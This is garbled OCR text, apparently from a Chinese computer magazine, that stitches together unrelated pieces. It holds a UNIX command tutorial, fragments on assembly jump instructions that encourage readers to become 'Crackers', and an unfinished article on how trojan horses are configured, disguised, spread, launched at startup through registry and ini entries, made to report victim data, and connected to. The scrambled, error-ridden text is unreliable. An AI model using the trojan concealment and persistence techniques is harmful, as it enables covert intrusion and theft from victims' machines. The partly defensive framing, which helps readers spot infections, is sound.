c 字 元 式 周 边 设备 , 以 一 个 字 元 一 个 字 元 方式 传

输 ,如 终端 机 。

b 区 块 式 周边 设备 , 能 一 次 大 量 传输 , 如 磁盘

机 。

ssocket 档 。

档案 存 取 权 限 : 共 9 个 字 元 ,每 3 个 分 为 一 组 , 共

3 组 rwx 的 组 合 。 前 3 个 rwx 是 档案 拥有 人 的 权限 ,中

间 3 个 是 所 属 群体 (group) 的 权限 ,最 后 3 个 是 其 他 人

的 使 用 权限 。rwx 代表 的 意义 如 下 :

对 档案 而 言 对 目录 而 言

r 可 读 此 档 可 得 知 目录 内 有 哪些 档案

w 可 修改 此 档 可 在 此 目录 内 建 档 及 杀 档

x 可 执行 此 档 可 进入 此 目录 内

-无 此 使 用 权 无 此 使 用 权

全 所 谓 的 所 属 群 体 (group), 在 台大 计 中 ccsun

工作 站 ,同系 学 生 定 为 同一 group; 在 系 计 中 cctwin 工

作 站 ,同年 级 学 生 定 为 同一 group。

全 以 上 例 而 言 ,wwwfaql 这 个 档案 自己 可 以 读

写 , 同 一 group 的 人 只 能 读 , 其 他 人 对 此 档 完全 没有

存 取 权 。

全 自己 的 档案 , 可 用 chmod 指令 改变 其 存 取 权 ,

有 两 种 使 用 方法 ,如 下 :

八 进 位 法 chmod < 八 进 位 数 > < 档案 >

此 方法 如 同 在 填 体 育 选课 志愿 卡 , 共 3 个 八 进 位

数字 ,r=4,w=2,x=1,- =0。 例 如 -rwxr- 克 -x 为

755, rw-r- ---- 为 640。 如 上 例 , 若 下 chmod

644 dial -up 即 可 将 dial - up 这 个 档 的 存 取 权 从 600

变 成 644, 亦 即 让 其 他 人 均 可 读 此 档案 。

其 实 最 前 面 还 有 一 个 八 进 位 数 , 但 很 少 用 到 , 其

意义 如 下 :

4000 程式 执行 时 , 设 定 使 用 者 识别 码 (SUIDD) 位

元 为 on

2000 程式 执行 时 , 设 定 使 用 者 所 属 团体 识别 码

(SGID) 位 元 为 on

1000sticky bit on ,程式 执行 后 会 常 驻 记 忆 体 。

符号 法 chmod < who op 存 取 权 > [ < who op

存 取 权 > ...] < 档案 >

< who> u (user) 档 案 拥 有 者

g (group) 所 属 group

o (other) 其 他 使 用 者

a (all) 包 括 u,g,o

+ 加 上 存 取 权

- 除去 存 取 权

= 重新 设 定 存 取 权

< 存 取 权 > 有 r ,w,x,s, 攻 常用 前 3 者 )

例如 ,chmod u-w wwwfaql 让 自己 不 能 更 改

0

这 让 有 二 下 检 汪 让

wwwfaql 这 个 档案 ,chmod a+xa+rbin 允许 所 有 人

进入 bin 目录 并 可 查看 有 哪些 档案 。

档案 连结 (link) 次 数 。

档案 拥有 者 。 超 级 使 用 者 (系统 管理 员 ) 为 root。

档案 大 小 ,单位 为 byte。

档案 内 容 最 近 一 次 更 新 时 间 。

档案 名 称 。

指令 简介

人 ls 列 出 目录 内 档案 名 称 ( 如 DOS 的 dir/w)

ls -1 除了 列 出 档 名 外 , 并 列 出 档案 属性 及 拥有

者 、 档 案 大 小 及 建立 时 间 等 资讯

ls -a 列 出 所 有 档案 ,包括 隐藏 档

ls -及 递 回 地 列 出 所 有 档案 ( 子 目 录 内 所 有 档案

亦 列 出 )

js -上 依 档 案 格 式 分 类

可 执行 档 档 名 后 加 ”xx ” , 目 录 名 称 后 加 上 ?人 ,

link 档 档 名 加 上 ?@,

全 pwd 查询 目前 所 在 之 目录 名 称

全 cd 更 换 目 前 工作 目录 位 置

若 只 打 cd 不 加 目录 名 , 则 回 到 自己 的 home di-

rectory 回 到 上 一 层 目 录 ,必须 打 cd ., ,cd 和 .… 中 间

要 有 空白

义 cat 查看 文字 档 内 容

全 more 以 一 页 一 页 方式 显示 一 个 文字 档

当 最 后 一 行 出 现 - - more(16% ) - -, 表示 你 已

看 了 16% 的 文章 。 此 时 可 用 more 内 的 指令 : space 往

下 卷 动 一 页

Enter 往 下 卷 动 一 行 , 若 先 键 人 数字 再 按 Enter 可

下 卷 指定 的 行 数 q 或 Q 停止 输出 , 回 到 系统 提示 符

h 显示 可 用 指令 及 其 功能

全 cp “原始 档 > “< 复制 档 > 就 是 copy !

全 mv < 原始 攀 < 目的 检 知 原 始 档 和 目的

档 在 同一 目录 下 ,可 更 改 档 名 , 若 加 上 路 径 名 ,可 在 目

录 间 搬移 档案

全 rzm 删除 档案 , 若 加 上 -i 会 征求 确认 后 删除

rm -rr < 目录 名 > 删除 该 目录 及 该 目录 之 下 的

所 有 档案

mm -于 同上 ,但 不 会 先 征求 确认

注 : UNK 没有 undelete, 杀 档 前 请 确定 你 的 大 脑

很 清醒

全 mkdir 建立 子 目 录

A rmdir 删除 子 目 录 , 目录 内 须 无 档案

人 chmod 设 定 档 案 或 目录 的 存 取 权 上限

会 jpr 将 档案 放 进 printer queue 中 等 候 列 表

全 ]jpd 显示 printer queue 的 内 容

全 p 打印 资料

全 lpstat 查询 打印 状态 与 打印 机 相关 资讯

全 Fr 文字 档 之 格式 化 输出 进 阶 指令

公 grep 于 档案 中 寻找 特定 字 串

例 : grep fopen x.e 可 印 出 所 有 类 .ec 档案 中 , 有

fopen 字 串 的 那 一 行 。

信 tail 打印 档案 最 后 10 行内 容

tail - 200 印 出 档案 最 后 200 行内 容

全 which 查询 某 个 执行 档 是 放 在 哪个 路 径 之 下

全 od 以 八 进 位 查看 档案 内 容

全 中 连接 (link) 档 案

In - ssymbolic link

全 we 计算 档案 的 行 数 、 字 数 及 字 元 数

全 touch 更 改 档案 修改 或 被 存 取 时 间

全 qd 进 档案 比较

全 find 档案 搜寻

全 d 显 示 可 使 用 之 档案 储存 空间 及 档案 数目

全 du 计算 磁盘 机 使 用 情形

全 umask 建 档 时 ,取消 部 份 存 取 权

全 tee 将 stdin 输出 到 stdout 并 复制 一 份 於 档案

三 .通信 指令

虽 令 简介

全 rusers 查看 有 哪些 人 上 机

全 ku 比 rusers 更 好 用 , 并 提供 finger,talk,

Write,mail 等 功能 。

全 mesg y 接受 其 他 使 用 者 讯息 (系统 预 设 值 )

mesg n 拒绝 其 他 使 用 者 讯息

全 talk 线 上 一 对 一 交谈 系统 ,对方 必 须 在 线 上 才

能 使 用 , 可 让 同一 主机 或 使 用 相同 网 路 协定 的 不 同 主

机 的 使 用 者 交谈 , 若 要 使 用 中 文 请 用 ctalk。

全 例如 , 若 你 使 用 台大 计 中 工作 站 ,, 发 现 你 的 朋

友 b2503000 正在 使 用 ccsun22 这 人 台 机 器 , 可 下 talk

b2503000@ ccesun22 这 个 指令 ,接著 等 待 回音 , 若 对 方

愿意 和 你 聊天 , 则 曹 幕 画面 将 会 分 为 上 下 两 部 分 , 上

半 部 分 为 自己 输入 的 讯息 , 下 半 部 分 则 是 对 方 的 应

启 O

企 按 下 Ctrl + C 可 结束 对 话

全 若 b2503000 要 和 你 聊天 时 ,会 出 现 如 下 画面

Message from Talk Daemon at 11: 21

tajlk: connection requested by b2S03000@ ccsun22

tajk: respond with talk b2503000@ ccsun22

若 想 回答 请 输入 talk b2503000@ ccsun22 再 按

Enter 即 可

全 此 时 若 屏 幕 内 容 混 乱 , 在 某 些 软件 中 可 按

Ctrl + 工 重 绘 屏幕 文字 , 阁 你 正在 编辑 文 件 ,该 文件 也

不 会 受 影响 , 仍 可 继续 编辑 。

全 若 你 不 想 和 他 talk ,可 用 mesg n 命令 拒绝 。

全 若 远 方 机 器 与 本 地 机 器 相 容 , 亦 可 使 用 此 命令

和 远方 机 器 使 用 者 聊天 , 例如 :talk u82 是 34567@ cc-

suin19. cc. nctu. edu.tw 即 可 和 交大 ecsunl9 上 的

u8234567 聊天

全 finger 可 查询 本 地 机 器 或 远方 机 器 使 用 者 简

要 资料

例 : finger b1503045@ cc. ntu. edu. tw

全 mail 读 取 及 传送 电子 邮件

以 下 指令 可 利用 mail 传送 文字 档

mail user < ilename

全 write 送 讯息 给 其 他 在 系统 中 的 使 用 者 ,也 可

视 为 功能 较 差 的 talk 程式 ,记得 按 Ctrl +D 结束

企 rlogin, rsh, telnet 远 端 登录 (login)

进 阶 指令

全 vacation 自动 回应 来 信

四 .系统 资讯

旧 令 简介

全 quota -察看 自己 可 用 磁盘 空间 大 小 (单位 :

KB) 及 档案 个 数

全 date 现在 的 日 期 ,时间

全 who 查询 目前 和 你 使 用 同一 机 器 的 有 哪些 人

及 jlogin 时 间 地 点

全 w 查 询 目前 上 机 者 详细 状况

全 whoami 察看 自己 帐号 名 称

会 groups [帐号 名 ] 查看 某 人 的 group

全 yppasswd 更 改 密码

全 ypchsh 更 改 自 己 的 login shell

全 ypchfn 更 改 自己 的 全 名 (fall name, 不 是 帐号

名 )

全 cal 印 出 月 历 或 年 历

全 tty 显示 目前 所 用 终端 机 名 称

全 history 查看 自己 下 过 的 指令

进 阶 指令

全 nslookup 向 Name Server 查询 hostname 及 IP

五 、 处 理 程序 (Process) 的 欣 制

肯 令 简介

从 ps 显示 process 的 状态 (process status )

PID 栏 : 即 ProcessID, 一 个 正在 执行 的 程式 在 系

统 中 的 惟一 编号 Owner 栏 : 该 process 的 拥有 者

全 kil 停止 处 理 程 序 , 通 常 先 用 ps 命令 查 得

Process ID ,再 杀 之 kill - 9 立即 停止 一 个 process

kill -9 -1 工 杀 掉 系 统 内 所 有 属于 自己 的 process

A 若 在 工作 站 上 无 法 离线 时 , 可 先 login 另 一 人 台

工作 站 , 然后 再 rsh 到 原来 当 掉 的 工作 站 , 下 kill -9

-1 工 指 令 即 可 正常 退出 。

A jobs 列 出 现在 正在 执行 的 工作

全 他 将 中 止 的 job 回 到 前 景 继续 执行

全 bg 背景 执行

进 阶 指令

信 at 在 指定 时 间 执 行 命令

全 batch 依 序 执行 多 个 命令

侠 crontab 要 求 系 统 定期 执行 特定 命令

从 nice 调整 process 的 优先 权

从 nohup 使 process 在 logout 后 继续 执行

六 、 其 他 命令

指令 简介

和 A ccC Compiler

全 compress 将 档案 压缩 成 .Z 格式

全 uncompress 将 x.Z 格式 的 压缩 档 解压

全 alias 蔡 命 令 取 别 名

例 : aliasdir"ls -al'

以 后 打 dir 就 等 同 于 下 ls -al 命令

从 set 查看 或 设 定 shell 变数

全 这 里 介绍 几 个 重要 的 变数 :

home: 你 的 home directory.

Path: 和 DOS 的 path 变数 功能 一 样 ,系统 会 顺 若

path 中 的 目录 去 找 可 执行 档 。

term: 终端 机 形态 ,常用 vt100、vt102 、ansi。

从 set < 变数 御 = < 设 定 值 > 就 可 以 设 定 变

数 的 值 入 < 变数 名 > 代表 此 变数 的 值 。 例 如 : set

term = vt100 ; set path = ($home/bin $path) 另外 须 注

意 path 的 第 一 个 目录 最 好 不 要 设 为 , 这 是 系统 安全

的 考量

全 seteny 查看 或 设 定 环 境 变 数

全 echo 回应 讯息 到 标准 输出

全 sor 资料 排序

全 su 权限 转换 为 指定 使 用 者

外 banner 放大 特定 字 串

人 calendar 重要 事项 提醒

储 spell 拼 字 检查

全 sleep 暂停 一 段 时 间 不 使 用 CPU( 通 常用 在

FE

和 过

SEFA

尖 于 由 ER 亿

汉人 全 这

E 和 电 有

Shell Script )

A test 测试 档案 型 态 或 检查 字 串 、 数 值 大 小 〈 通

常用 在 Shell Script) 1

A wait 等 待 brocess 执行 结束 (通常 用 在 Shell

Script)

七 、 终 端 机 沉 用 控制 键

ctd + C 中 断 程式 的 执行 。

Ctrl +Z 暂停 程式 的 执行 , 稍 后 可 下 色 或 bg 指

令 继续 , 若 未 下 色 或 bg 指令 继续 执行 该 process 仍 会

留 在 系统 内 。

Ctrl +S 或 Pause 键 屏幕 暂停 输出

Ctrl+ Q 屏幕 恢复 输出

Ctrl +D EOT (End of Transmission )

有 时 候 按 了 键盘 ,屏幕 却 没 任何 反应 ,看 起 来 好

像 当 机 , 可 能 就 是 不 小 心 按 了 Ctrl+Ss 键 此 时 按

Chl +Q 就 可 恢复 正常 。

若 你 输入 中 文 时 ,屏幕 却 出 现 乱码 ,请 先 于 UNKX

提示 符号 下 打 stty pass8, 系统 就 不 会 过 滤 字 元 的 bit7

(the most significant bit) 。

若 你 进 编辑 器 或 者 其 他 的 全 屏幕 程式 , 出 现 屏幕

文字 上 卷 的 问题 时 , 请 先 于 UNIX 提示 符号 下 打 stty

rows 24 或 resize 就 可 恢复 正常 。

八 . 管 道 (pipe) 及 输出 入 重 导

(redqirection )

UNRKE 把 输出 人 设备 亦 视 为 档案 , 这 些 设 备 可 能

是 键盘 , 屏幕 , 打印 机 , 也 可 以 是 磁盘 档 , 以 下 是 U-

NIX 的 标准 输出 和 人 设备:

全 标准 输入 (stdin)

平时 为 键盘 ,可 用 < 转向 。

例 : mail b82000 < myfile 可 将 myfile 档案 寄 给

b82000

从 标准 输出 (stdout)

平时 为 萤幕 ,可 用 > 转向 ,用 > > 可 将 结果 附

加 (append) 在 档案 尾 端 。

例 : finger b81045 > myfile 可 将 查询 结果 写 在

myfle 档案 上 。

全 标准 错误 输出 (stderr)

平时 为 屏幕 ,如 stdout 被 转向 , 仍 可 在 屏幕 看 到

错误 讯息 。 stderr 可 用 > & 转向 ,用 > > 人 将 错误

讯息 附加 在 档案 尾 端 。

管道 : 管道 的 符号 是 “!” , 用 来 连接 两 个 命令 。

“| 左边 指令 的 输出 作为 “1 右边 指令 的 输入 。 例 : ls

-1., | more 可 将 上 一 层 目录 内 容 以 一 页 一 页 方式

输出 ;who 1 grep b. 503 | sort | more 可 将 目前 上 线 的

电机 系 学 生 和 名单 经 过 排序 后 分 页 输出 。

九 .Shell 与 Shell Script 简介

DOS 的 COMMAND. COM 就 是 一 种 shell ,负责 解

析 你 所 下 的 指令 并 执行 它 。 同 样 的 ,UNIX 上 也 有 这 样

的 东 东 , 它 是 在 你 成 功 login 以 后 由 系统 自动 启动

的 。UNIX 上 有 不 少 种 shell , sh,csh,ksh,tcsh,bash

等 缘 是 , 一 般 都 是 用 csh, login shell 可 用 ypchsh 命令

改变 , 但 你 必须 先知 道 你 要 换 的 新 壳 子 在 那个 目录

下 。tcsh 有 类 似 DOSKEY 的 功能 ,值得 推荐 。

DOS 中 有 所 谓 的 批 处 理 , 用 以 方便 处 理 一 些 例

行 工作 。UNK 也 有 批 次 处 理 , 它 就 叫做 Shell Script,

而 且 比 DOS 的 批 次 档 强 很 多 , 写 法 几乎 是 一 个 高 阶

语言 。Shell Script 是 个 文字 档 , 但 其 地 位 和 其 他 的 命

令 或 可 执行 档 是 完全 相同 的 , 只 要 用 chmod 指令 将

Shell Script 存 取 权 设 为 可 执行 即 可 。 欲 知 Shell Script

写法 及 其 相关 细节 , 请 参阅 manual page 或 UNIX 相

关 书 籍 。

$home 目录 下 的 .login 档 就 是 一 个 典型 的 Shell

Script ,类 似 DOS 的 autoexec. bat。

十 .X Window 视窗 系统 简介

若 你 在 工作 站 主机 login, 可 打 startx 或 openwin

指令 进入 X Window 系统 ,进入 XWindow 后 按 滑 鼠 左

键 或 右键 不 放 , 可 看 到 系统 选单 ,选择 你 要 执行 的 程

式 , 选 Exit 就 可 离开 XWindow 系统 。 进 入 X Window

后 可 启动 cxterm 就 有 中 文 视窗 。

X Window 系统 大 而 繁杂 ,但 操作 上 不 难 , 欲 深入

了 解 其 功能 , 可 参阅 X Window 的 标准 本

Window System,Volume 3: X Window System User” s

Cuide for XI1IR5> 。 网 路 上 也 有 免费 的 XWindow 人

门 指南 中 文 版 ,可 进 各 大 gopher 站 查阅 或 抓 取 。 全

(上 接 第 47 页 )

2. 间接 标志 转移

指令 格式 如 … 则 转移

> 高 于 /不 低 于 或 等 于

> = 高 于 或 等 于 /不 低 于

< 区 于 /不 高 了 或 等 于

< = 低 于 或 等 于 /不 高 于

> 大 于 /不 小 于 或 等 于

> = 大 于 /不 大 于 或 等 于

< 小 于 /不 大 于 或 等 于

3. 无 条 件 转移 指令 JMP

段 间 直接 ( 远 ) 转 移 Jmp far (PP) 人 和 ( 偏 移 地 址 )

段 间 间 接 转移 Jmp dword (P) 和 二 (EA)

(CS)J<-(EA +2)

到 此 为 止 ,该 了 解 的 基础 知识 我 们 差不多 都 已 经

全 部 提 到 了 ,很 简单 不 是 ?” 剩 下 的 就 是 该 你 自己 去 多

JIEE7ZJNG( 比 较 带 符号 数 ) “| 大 (GS 蜡 或 0) 或 7=1

机 器 码

行 操作

段 内 直接 短 转移 Jmp short ”| 〈 卫 ) 熏 ( 卫 ) + 8 位 位 移 量

段 内 直接 近 转 移 Jmp near “| (下 ) 一 (下 ) + 16 位 位 移 量

段 内 间接 转移 Jmp word ( 耳 ) 二 (有 效 地 址 EA)

< = 小 于 或 等 于 /不 大 于

转移 范围 - 128 到 + 127 字 节

转移 到 段 内 的 任 一 位 置

多 找 破解 工具 、 软 件 实践 了 。 只 有 这 样 ,你 才能 不 断 积

累 宝 贵 的 经 验 ,成 为 一 个 真正 的 Cracker。 人

一 ` 必 备 基 础 知识

在 介绍 木马 的 原理 之 前 有 一 些 木马 构成 的 基础

知识 我 们 要 事先 加 以 说 明 , 因为 下 面 有 很 多 地 方 会 提

到 这 些 内 容 。

一 个 完整 的 木马 系统 由 硬件 部 分 、 软 件 部 分 和 具

体 连 接 部 分 组 成 。

1. 硬件 部 分

建立 木马 连接 所 必须 的 硬件 实体 。

控制 端 :对 服务 端 进行 远程 控制 的 一 方 。

服务 端 : 被 控制 端 远 程控 制 的 一 方 。

INTERNET, 控制 端 对 服务 端 进 行 远程 控制 , 数

据 传 输 的 网 络 载体 。

2. 软件 部 分

实现 远程 控制 所 必须 的 软件 程序 。

控制 端 程序 : 控制 端 用 以 远程 控制 服务 端的 程

序 。

木马 程序 : 潜入 服务 端 内 部 ,获取 其 操作 权限 的

程序 。

木马 配置 程序 : 设置 木马 程序 的 端口 号 ,触发 条

件 ,木马 名 称 等 ,使 其 在 服务 端 藏 得 更 隐蔽 的 程序 。

3. 具体 连接 部 分

通过 INTERNET 在 服务 端 和 控制 端 之 间 建 立 一

条 木马 通道 所 必须 的 元 素 。

控制 端 王 ,服务 端 瑟 : 即 控制 端 ,服务 端的 网 络 地

址 ,也 是 木马 进行 数据 传输 的 目的 地 。

控制 端 端口 ,木马 端口 : 即 控制 端 ,服务 端的 数据

入 口 , 通过 这 个 人 口 , 数据 可 直达 控制 端 程序 或 木马

程序 。

二 .特洛伊 林 马 的 攻击 步 又

用 木马 这 种 黑客 工具 进行 网 络 人 侵 , 从 过 程 上 看

大 致 可 分 为 六 步 , 下 面 我 们 就 按 这 六 步 来 详细 盖 述 木

马 的 攻击 原理 。

1. 配置 木马

一 般 来 说 一 个 设计 成 熟 的 木马 都 有 木马 配置 程

序 , 从 具体 的 配置 内 容 看 ,主要 是 为 了 实现 以 下 两 方

面 功 能 ;

(IT) 木马 伪装 : 木马 配置 程序 为 了 在 服务 端 尽 可

能 好 的 隐藏 木马 , 会 采用 多 种 伪装 手段 , 如 修改 图 标 ,

捆绑 文件 ,定制 端口 ,自我 销 筑 等 等 。

(2) 信息 反馈 : 木马 配置 程序 将 就 信息 反馈 的 方

式 或 地 址 进行 设置 ,如 设置 信息 反馈 的 邮件 地 址 、IRC

号 ICQ 号 等 。

2. 传播 木马

(1) 传 播 方式

木马 的 传播 方式 主要 有 两 种 : 一 种 是 通过 王 -

MAIL, 控 制 端 将 木马 程序 以 附件 的 形式 夹 在 邮件 中

发 送出 去 , 收 信人 只 要 打开 附件 系统 就 会 感染 木马 ;

另 一 种 是 软件 下 载 , 一 些 非 正规 的 网 站 以 提供 软件 下

载 为 名 义 ,将 木马 捆绑 在 软件 安装 程序 上 ,下 载 后 ,只

要 一 运行 这 些 程序 ,木马 就 会 自动 安装 。

(2) 伪 装 方式

鉴于 木马 的 危害 性 , 很 多 人 对 木马 知识 还 是 有 一

定 了 解 的 , 这 对 木马 的 传播 起 了 一 定 的 抑制 作用 , 这

是 木马 设计 者 所 不 愿 见 到 的 , 因此 他 们 开发 了 多 种 功

能 来 伪装 木马 , 以 达到 降低 用 户 警觉 ,其 骗 用 户 的 目

的 。 一 般 来 说 有 以 下 几 种 :

令 修 改 图 标

也 许 你 会 在 下 -~ MAIL 的 附件 中 看 到 一 个 很 平常

的 文本 图 标 , 但 是 我 不 得 不 告诉 你 , 这 也 有 可 能 是 个

木马 程序 , 现在 已 经 有 木马 可 以 将 木马 服务 端 程序 的

图 标 改 成 HTML,TXT,ZIP 等 各 种 文件 的 图 标 , 这 有

相当 大 的 迷惑 性 , 但 是 目前 提供 这 种 功能 的 木马 还 不

多 见 , 并 且 这 种 伪装 也 不 是 无 懈 可 击 的 , 所 以 不 必 整

天 提心吊胆 、 疑 神 疑 鬼 的 。

令 捆 绑 文 件

这 种 伪装 手段 是 将 木马 捆绑 到 一 个 安装 程序 上 ,

当 安 装 程序 运行 时 , 木马 在 用 户 训 无 察觉 的 情 次 下 ,

偷偷 的 进入 了 系统 。 至 于 被 捆绑 的 文件 一 般 是 可 执行

文件 ( 即 EXE、COM 一 类 的 文件 )。

出错 显示

有 一 定 木 马 知识 的 人 都 知道 , 如 果 打开 一 个 文

件 ,没有 任何 反应 , 这 很 可 能 就 是 个 木马 程序 ,木马

的 设计 者 也 意识 到 了 这 个 缺陷 , 所 以 已 经 有 木马 提供

了 一 个 叫做 出 错 显 示 的 功能 。 当 服务 端 用 户 打开 木马

程序 时 , 会 弹出 一 个 错误 提示 框 (这 当然 是 假 的 ) , 错

误 内 容 可 自由 定义 , 大 多 会 定制 成 一 些 诸如 “文件 已

破坏 ,无 法 打开 的 ! ”之 类 的 信息 , 当 服务 端 用 户 信 以

为 真 时 ,木马 却 悄悄 侵 人 了 系统 。

令 定 制 问 口

很 多 老式 的 木马 端口 都 是 固定 的 , 这 给 判断 是 否

感染 了 木马 带 来 了 方便 , 只 要 查 一 下 特定 的 端口 就

知道 感 当 了 什么 木马 , 所 以 现在 很 多 新 式 的 木马 都 加

入 了 和 定制 端口 的 功能 , 控 制 端 用 户 可 以 在 1024- 一

65535 之 间 任 选 一 个 端口 作为 木马 端口 (一 般 不 选

1024 以 下 的 端口 ), 这 样 就 给 判断 所 感染 木马 类 型 带

来 了 麻烦 。

令 自 我 销毁

这 项 功能 是 为 了 弥补 木马 的 一 个 缺陷 。 我 们 知道

当 服 务 端 用 户 打 开 含有 木马 的 文件 后 , 木马 会 将 自己

拷贝 到 WINDOWS 的 系统 文件 夹 中 (C:\、WINDOWS

或 C: \WINDOWS\SYSTEM 目录 下 ) ,一 般 来 说 原木 马 ,

文件 和 系统 文件 夹 中 的 木马 文件 的 大 小 是 一 样 的 ( 捆

绑 文件 的 木马 除外 ) , 那 么 中 了 木马 的 朋友 只 要 在 近

来 收 到 的 信件 和 下 载 的 软件 中 找到 原木 马 文 件 , 然后

根据 原木 马 的 大 小 去 系统 文件 夹 找 相同 大 小 的 文件 ,

判断 一 下 哪个 是 木马 就 行 了 。 而 木马 的 自我 销毁 功能

是 指 安装 完 木 马 后 , 原木 马 文件 将 自动 销毁 , 这 样 服

务 端 用 户 就 很 难 找到 木马 的 来 源 , 在 没有 查 杀 木马 的

工具 帮助 下 ,就 很 难 删除 木马 了 。

乡 木 马 更 名

安装 到 系统 文件 夹 中 的 木马 的 文件 名 -一般 是 固

定 的 ,那么 只 要 根据 一 些 查 杀 木 马 的 文章 , 按 图 索 骏

在 系统 文件 夹 查找 特定 的 文件 , 就 可 以 断定 中 了 什么

木马 。 所 以 现在 有 很 多 木马 都 允许 控 制 端 用 户 自 由

定制 安装 后 的 木马 文件 名 , 这 样 很 难 判断 所 感染 的 木

马 类 型 了 。

3. 运行 木马

服务 端 用 户 运 行 木 马 或 捆绑 木马 的 程序 后 , 木马

就 会 自动 进行 安装 。 首 先 将 自身 拷贝 到 WINDOWS 的

系统 文件 夹 中 (C:\ 双 INDOWS 或 C:\ 双 INDOWSA'\

SYSTEM 目录 下 ),, 然后 在 注册 表 , 启动 组 , 非 启 动 组

中 设置 好 木马 的 触发 条 件 , 这 样 木 马 的 安装 就 完成

了 。 安 装 后 就 可 以 启动 木马 了 。

(1) 由 触发 条 件 激 活 木马

触发 条 件 是 指 启动 木马 的 条 件 , 大 致 出 现在 下 面

八 个 地 方

令 注 册 表 : 打开 HKEY LOCAL MACHINE\ Soft-

ware\ Microsoft\ 双 indows\ CurrentVersion \ 下 的 五 个 以

Run 和 RunServices 主键 ,在 其 中 寻找 可 能 是 启动 木马

的 键 值 。

WIN.INIE C:\WINDOWS 目录 下 有 一 个 配置 文

件 win. ini, 用 文本 方式 打开 ,在 [windows] 字 段 中 有 启

动 命令 load = 和 rn = , 在 一 般 情 况 下 是 空白 的 , 如 果

有 局 动 程序 ,可 能 是 木马 。

令 SYSTEM. INI: C:\WINDOWS 目录 下 有 个 配置

文件 system. ini, 用 文本 方式 打开 , 在 [386Enh] ,

[micj,[drivers32] 中 有 命令 行 ,在 其 中 寻找 木马 的 启

动 命令 。

令 Autoexec. bat 和 Config. sys: 在 C 盘 根 目 录 下 的

这 两 个 文件 也 可 以 启动 木马 。 但 这 种 加 载 方式 一 般 都

需要 控制 端 用 户 与 服务 端 建立 连接 后 , 将 已 添加 木马

启动 命令 的 同名 文件 上 传 到 服务 端 覆 盖 这 两 个 文件

才 行 。

乡 x .INI 即 应 用 程序 的 启动 配置 文件 , 控 制 端

利用 这 些 文件 能 启动 程序 的 特点 , 将 制作 好 的 带 有 木

马 启 动 命令 的 同名 文件 上 传 到 服务 端 覆盖 这 同名 文

件 ,这 样 就 可 以 达到 启动 木马 的 目的 了 。

纹 注 册 表 : 打开 HKEY CLASSES ROOT' 文件 类

型 \shell \open \command 主键 ,查看 其 键 值 . 举 个 例子 ,

国产 木马 “冰河 ”就 是 修改 HKEY CLASSES ROOT

txtfile\ shell \open \command 下 的 键 值 ; 将 “C :和 WIN-

DOWS \NOTEPAD. EXE 为 1” 改 为 “C:\WINDOWSAY

SYSTEM \SYSEXPLR. EXE % 1 ,这 时 你 双击 一 个 TXT

文件 后 , 原 本 应 用 NOTEPAD 打开 文件 的 , 现 在 却 变

成 司 动 木马 程序 了 。 还 要 说 明 的 是 不 光 是 TXT 文件 ,

通过 修改 HIML, EXE, ZIP 等 文件 的 启动 命令 的 键 值

都 可 以 启动 木马 ,不 同 之 处 只 在 于 “文件 类 型 "这 个 主

键 的 差别 , TXT 是 txtfile, ZIP 是 WINZIP, 大 家 可 以 试

着 去 找 一 下 。

纺 捆 绑 文件 : 实现 这 种 触发 条 件 首 先 要 控制 端 和

服务 端 通过 木马 建立 连接 , 然后 控制 端 用 户 用 工具 软

件 将 木马 文件 和 某 一 应 用 程序 捆绑 在 一 起 , 然后 上 传

到 服务 端 覆盖 原文 件 , 这 样 即使 木马 被 删除 了 ,只 要

运行 捆绑 了 木马 的 应 用 程序 , 木 马 又 会 被 安装 上 去

令 启 动 菜单 :在 “开始

也 可 能 有 木马 的 触发 条 件 。

(2) 木 马 运行 过 程

木马 被 激活 后 , 进入 内 存 , 并 开启 事先 定义 的 木

程序 一 一 启动 "选项 下

马上 端口 , 准备 与 控制 端 建立 连接 。 这 时 服务 端 用 户 可

以 在 MS - DO0S 方式 下 , 键 人 NETSTAT - AN 查看 端

口 状态 , 一 般 个 人 电脑 在 脱 机 状态 下 是 不 会 有 端口 开

放 的 , 如 果 有 端口 开放 , 你 就 要 注意 是 否 感染 木马

在 上 网 过 程 中 要 下 载 软件 , 发 送信 件 , 网 上 聊天

等 必然 打开 一 些 端口 ,下 面 是 一 些 常 用 的 端口 ;

(上 二 一 1024 之 间 的 端口 : 这 些 端口 叫 保留 端

口 , 是 专 给 一 些 对 外 通讯 的 程序 用 的 , 如 FTP 使 用

21,SMTP 使 用 25,POP3 使 用 110 等 。 只 有 很 少 木 马

会 用 保留 端口 作为 木马 端口 的 。

(2) 1025 以 上 的 连续 端口 : 在 上 网 浏览 网 站 时 ,

浏览 器 会 打开 多 个 连续 的 端口 下 载 文字 、 图 片 到 本 地

硬盘 上 ,这 些 端口 都 是 1025 以 上 的 连续 端口 。

(3)4000 端口 :这 是 OICQ 的 通讯 端口 。

(4)6667 端口 :这 是 IRC 的 通讯 端口 。 除 上 述 的

端口 基本 可 以 排除 在 外 , 如 发 现 还 有 其 它 端口 打开 ,

尤其 是 数值 比较 大 的 端口 , 那 就 要 怀疑 是 否 感 染 了 木

马 , 当 然 如 果木 马 有 定制 端口 的 功能 , 那 任何 端口 都

有 可 能 是 木马 端口 。

4. 信息 泄露

一 般 来 说 , 设计 成 熟 的 木马 都 有 一 个 信息 反馈 机

制 。 所 谓 信息 反 馈 机 人 制 是 指 木马 成 功 安 装 后 会 收集 一

些 服务 端的 软 硬 件 信息 , 并 通过 了 -MAIL、IRC 或

ICQ 的 方式 告知 控制 端 用 户 。

从 中 我 们 可 以 知道 服务 端的 一 些 软 硬 件 信息 , 包

括 使 用 的 操作 系统 , 系统 目录 ,硬盘 分 区 情况 ,系统 口 ,

令 等 ,在 这 些 信息 中 ,最 重要 的 是 服务 端 下 ,因为 只 有

得 到 这 个 参数 ,控制 端 才能 与 服务 端 建立 连接 ,具体

的 连接 方法 我 们 会 在 下 一 节 中 讲解 。

5., 建立 连接

这 一 节 我 们 讲解 一 下 木马 连接 是 怎样 建立 的 。 一

个 木马 连接 的 建立 首先 必须 满足 两 个 条 件 : 一 是 服务

端 已 安装 了 木马 程序 ; 二 是 控制 端 , 服 务 端 都 要 在

线 。 在 此 基础 上 控制 端 可 以 通过 木马 端口 与 服务 端 建

立 连 接 。

假设 A 机 为 控制 端 , B 机 为 服务 端 , 对 于 A 机 来

说 要 与 B 机 建立 连接 必须 知道 B 机 的 木马 端口 和 卫

地 址 ,由 于 木马 端口 是 A 机 事先 设 定 的 ,为 已 知 项 ,所

以 最 重要 的 是 如 何 获得 B 机 的 卫 地 址 。 获 得 B 机 的

对 地 址 的 方法 主要 有 两 种 :信息 反馈 和 了 扫描 。 对 于

